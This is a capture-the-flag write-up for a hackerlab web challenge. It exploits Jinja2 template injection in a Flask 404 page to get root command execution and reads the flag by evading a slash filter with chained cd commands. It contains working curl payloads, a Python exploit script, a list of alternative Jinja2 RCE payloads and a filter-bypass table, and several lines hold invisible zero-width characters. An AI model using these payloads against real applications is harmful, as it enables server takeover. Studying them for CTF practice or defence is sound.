← Back to Writeups
CUSTOMEasyWeb

Simple Web (d5c47306-5d4f-4ad4-958f-5414a0b85b9b)

XESXOR9/10/20263 min read
#web#custom#easy#filter-bypass-using-cd-command#rce-via-lipsum.__globals__["os#server-side-template-injection#linux

Simple Web (d5c47306-5d4f-4ad4-958f-5414a0b85b9b)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-20 | Status: Solved Techniques: Filter bypass using cd commands instead of absolute paths, RCE via lipsum.globals["os"].popen(), Server-Side Template Injection (SSTI) in Jinja2

Summary

Task: Flask web app with user input reflected in 404 page HTML comments. Solution: Exploited Jinja2 SSTI to achieve RCE, bypassed / filter using cd commands to read the flag.

Simple Web — hackerlab.pro

Description

"Должно быть всё очень просто..." (It should be very simple...)

URL: http://62.173.140.174:16043

Analysis

1. Reconnaissance

When accessing non-existent pages, the server returns a 404 error. In the HTML code of the error page, the requested path is reflected in a comment:

html
<!--/requested_path-->

The server runs on Flask/Werkzeug (Python).

2. SSTI Discovery

Testing for SSTI using a classic payload:

bash
curl 'http://62.173.140.174:16043/%7B%7B7*7%7D%7D'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The HTML comment shows <!--49--> instead of <!--{{7*7}}--> — confirming Jinja2 SSTI.

3. Configuration Investigation

bash
curl 'http://62.173.140.174:16043/%7B%7Bconfig%7D%7D'

Returns Flask configuration — full access to the template engine.

4. RCE via SSTI

Classic payload for RCE in Jinja2:

{{lipsum.__globals__["os"].popen("command").read()}}

Verification:

bash
curl 'http://62.173.140.174:16043/%7B%7Blipsum.__globals__%5B%22os%22%5D.popen(%22id%22).read()%7D%7D'

Result: uid=0(root) — the application runs as root in a Docker container. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

5. Filter Bypass

When attempting to use absolute paths (cat /root/flag.txt), an error occurs — the / character in command arguments is blocked.

Bypass: using cd commands with ; separator:

bash
cd ..;cd root;cat flag.txt

Solution

Final Payload

bash
# URL-encoded payload
curl 'http://62.173.140.174:16043/%7B%7Blipsum.__globals__%5B%22os%22%5D.popen(%22cd%20..;cd%20root;cat%20flag.txt%22).read()%7D%7D'

Step-by-step Payloads

bash
# 1. SSTI test
curl 'http://62.173.140.174:16043/%7B%7B7*7%7D%7D'
# Result: 49
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 2. RCE verification
curl 'http://62.173.140.174:16043/%7B%7Blipsum.__globals__%5B%22os%22%5D.popen(%22id%22).read()%7D%7D'
# Result: uid=0(root)

# 3. Root directory listing
curl 'http://62.173.140.174:16043/%7B%7Blipsum.__globals__%5B%22os%22%5D.popen(%22ls%20..%22).read()%7D%7D'
# Result: bin, dev, etc, home, lib, ..., root, ...

# 4. /root listing
curl 'http://62.173.140.174:16043/%7B%7Blipsum.__globals__%5B%22os%22%5D.popen(%22cd%20..;cd%20root;ls%22).read()%7D%7D'
# Result: flag.txt

# 5. Reading the flag
curl 'http://62.173.140.174:16043/%7B%7Blipsum.__globals__%5B%22os%22%5D.popen(%22cd%20..;cd%20root;cat%20flag.txt%22).read()%7D%7D'
# Result: CODEBY{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Python Automation Script

python
#!/usr/bin/env python3
import requests
from urllib.parse import quote

BASE_URL = "http://62.173.140.174:16043"

def ssti_exec(cmd):
    """Execute command via SSTI"""
    payload = f'{{{{lipsum.__globals__["os"].popen("{cmd}").read()}}}}'
    url = f"{BASE_URL}/{quote(payload)}"
    resp = requests.get(url)
    # Extract from HTML comment <!--result-->
    import re
    match = re.search(r'<!--(.+?)-->', resp.text, re.DOTALL)
    return match.group(1) if match else resp.text
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Test
print(ssti_exec("id"))
# uid=0(root)

# Get flag (bypass / filter)
print(ssti_exec("cd ..;cd root;cat flag.txt"))
# CODEBY{REDACTED}

Alternative SSTI Payloads for Jinja2

python
# Via request
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Via cycler
{{cycler.__init__.__globals__.os.popen('id').read()}}

# Via joiner
{{joiner.__init__.__globals__.os.popen('id').read()}}

# Via namespace
{{namespace.__init__.__globals__.os.popen('id').read()}}

# MRO chain (more universal)
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('id').read()}}
# where X is the index of a class with access to os (usually needs to be enumerated)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Filter Bypass

FilterBypass
/ in pathscd ..;cd dir;cat file
_\x5f or attr()
[]`
.`
KeywordsString concatenation "o"+"s"

References